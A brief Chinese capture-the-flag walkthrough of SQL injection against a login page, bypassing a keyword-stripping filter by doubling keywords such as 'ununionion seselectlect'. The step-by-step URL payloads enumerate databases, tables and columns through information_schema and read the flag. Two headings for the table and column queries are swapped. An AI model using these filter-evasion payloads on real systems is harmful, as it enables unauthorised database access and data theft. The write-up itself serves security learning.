知识点:双写绕过
先进行测试
?username=admin&password=123'union select 1?#
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1?'' at line 1
根据回显说明union select被检测到了
猜测使用replace函数,查找到union和select等然后替换为空
进行双写
?username=admin&password=123'ununionion seselectlect 1#
//这样不行要把#和单引号编码成%27 %23
?username=admin&password=123 %27 ununionion seselectlect 1 %23
测试行数
The used SELECT statements have a different number of columns
加一下列数,发现测试到3的时候,回显了数字2 和 3 这是我们注入的第二列和第三列。
?username=admin&password=123 %27 ununionion seselectlect 1 ,2,3 %23
使用version函数测试一下注入点是否是3
?username=admin&password=123 ' ununionion seselectlect 1 ,2,version() %23
回显为
读取当前连接库名
读取所有库名
?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23
列名
?username=admin&password=123 ' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf" %23
表名
?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23
读内容
?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(flag) frfromom (ctf.Flag) %23